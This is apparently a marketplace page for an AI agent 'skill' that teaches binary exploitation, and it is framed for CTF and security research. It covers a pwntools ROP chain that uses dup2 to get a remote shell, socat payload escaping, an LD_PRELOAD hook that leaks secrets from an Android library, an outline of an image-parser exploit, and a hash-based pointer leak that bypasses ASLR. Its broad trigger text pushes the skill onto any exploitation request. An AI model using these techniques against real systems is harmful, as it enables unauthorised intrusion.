skills/binary-exploitation/common-exploiting-problems/SKILL.md
How to apply common exploitation patterns including FD duplication for remote shells, socat/pty escape handling, Android shared-library fuzzing with LD_PRELOAD hooking, image parser exploitation, and pointer-keyed hash table pointer leaks. Use this skill whenever the user mentions exploitation, remote shells, socket exploitation, Android fuzzing, shared library analysis, LD_PRELOAD, image format parsing, ASLR bypass, pointer leaks, or any binary exploitation scenario.
npx skillsauth add abelrguezr/hacktricks-skills common-exploitation-techniquesInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill covers practical exploitation patterns that appear frequently in real-world scenarios. Each section provides actionable guidance with working examples.
When exploiting a remote service that spawns a shell (e.g., system('/bin/sh')) but you cannot interact with it because stdin/stdout are not connected to your socket.
When a server process executes system('/bin/sh'), the shell expects:
If these aren't connected to your attacker socket, you get a non-interactive shell.
Use dup2() to redirect stdin/stdout to the socket FD. When a server accepts a connection, it typically:
Redirect FD 0 and 1 to FD 4:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40) # padding to reach ROP chain
rop.dup2(4, 0) # dup2(socket_fd, stdin)
rop.dup2(4, 1) # dup2(socket_fd, stdout)
rop.win() # your shell-spawning function
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
If you're unsure which FD the socket uses:
accept() call - the returned FD is your targetstrace on the server to see FD allocationWhen using socat with PTY mode and your exploit contains \x7f (DELETE character).
Socat in PTY mode interprets \x7f as a backspace/delete character, which corrupts your exploit payload.
Prepend the escape character \x16 before any \x7f in your payload:
# Instead of sending: payload = b'\x7f\x7f\x7f'
# Send: payload = b'\x16\x7f\x16\x7f\x16\x7f'
# In pwnlib:
payload = payload.replace(b'\x7f', b'\x16\x7f')
Use socat without PTY mode if possible:
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln"
# Instead of:
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln",pty
When you have a stripped AArch64 .so file from an Android app and need to fuzz exported functions without rebuilding the APK.
objdump -T libvalidate.so | grep -E "validate|check|verify"
Use Ghidra/IDA to determine function signatures:
int validate(const uint8_t *buf, uint64_t len);
Create harness.c:
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
extern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) {
if (argc < 2) return 1;
int fd = open(argv[1], O_RDONLY);
if (fd < 0) return 1;
struct stat st = {0};
if (fstat(fd, &st) < 0) return 1;
uint8_t *buffer = malloc(st.st_size + 1);
read(fd, buffer, st.st_size);
close(fd);
int ret = validate(buffer, st.st_size);
free(buffer);
return ret;
}
Cross-compile with NDK:
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie -o harness
If the .so imports snprintf and contains secrets:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
// Leak format strings containing secrets
if (fmt && strstr(fmt, "FLAG{")) {
fprintf(stdout, "[LEAK] ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
Compile and run:
gcc -shared -fPIC -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./harness payload.json
If you've identified the exact bytes to fuzz:
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
extern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
// Embed fuzz bytes in valid structure
char json[512];
int len = snprintf(json, sizeof(json),
"{\"magic\":16909060,\"flag\":\"FLAG{827b07c%s}\"}",
blob);
validate((unsigned char *)json, len);
return 0;
}
Run AFL:
afl-cc -o afl_harness afl_harness.c
afl-fuzz -i input_dir -o output_dir ./afl_harness
When analyzing image formats (DNG, TIFF, JPEG) that contain embedded bytecode or metadata that controls parsing behavior.
Some formats ship with bytecode interpreters:
Look for:
Malicious opcodes can:
from pwn import *
# 1. Bounds bug to read arbitrary memory
# 2. Heap spray to control freed objects
# 3. Vtable remapping for code execution
# 4. JOP chain to system()
# See: Samsung Quram exploit for real-world example
When a service deserializes attacker-controlled property lists and re-serializes them, particularly on macOS/iOS with NSKeyedUnarchiver.
Before March 2025, CFNull/NSNull used pointer address as hash:
CFHash(object) == (uintptr_t)object
The singleton kCFNull lives at a fixed shared-cache address, making its hash stable across processes.
Create dictionaries with controlled bucket patterns:
// For each prime p in {23, 41, 71, 127, 191, 251, 383, 631, 1087}:
// Create two dictionaries:
// - One with even buckets filled
// - One with odd buckets filled
// NSNull serialized last in each
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
# Send to victim service
The serialized key order reveals bucket indices:
// For each dictionary pair, determine:
// hash(NSNull) % p = r_i
def crt(residues, moduli):
"""Solve system of congruences using CRT"""
from math import gcd
result = 0
product = 1
for m in moduli:
product *= m
for r, m in zip(residues, moduli):
p = product // m
result += r * p * extended_gcd(p, m)[1]
return result % product
# Moduli: [23, 41, 71, 127, 191, 251, 383, 631, 1087]
# Product > 2^64, so result is unique 64-bit pointer
pointer = crt(residues, moduli)
print(f"Leaked pointer: {hex(pointer)}")
NSDictionary uses CFBasicHash with prime bucket counts| Technique | Key Function | Typical Use Case |
|-----------|--------------|------------------|
| FD Duplication | dup2(fd, 0), dup2(fd, 1) | Remote shell interaction |
| Socat Escape | Prepend \x16 to \x7f | PTY-based exploits |
| LD_PRELOAD Hook | dlsym(RTLD_NEXT, "func") | Anti-debug bypass, secret leakage |
| AFL Fuzzing | read(STDIN_FILENO, ...) | Targeted binary fuzzing |
| CRT Pointer Leak | Extended Euclidean Algorithm | ASLR bypass on macOS |
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.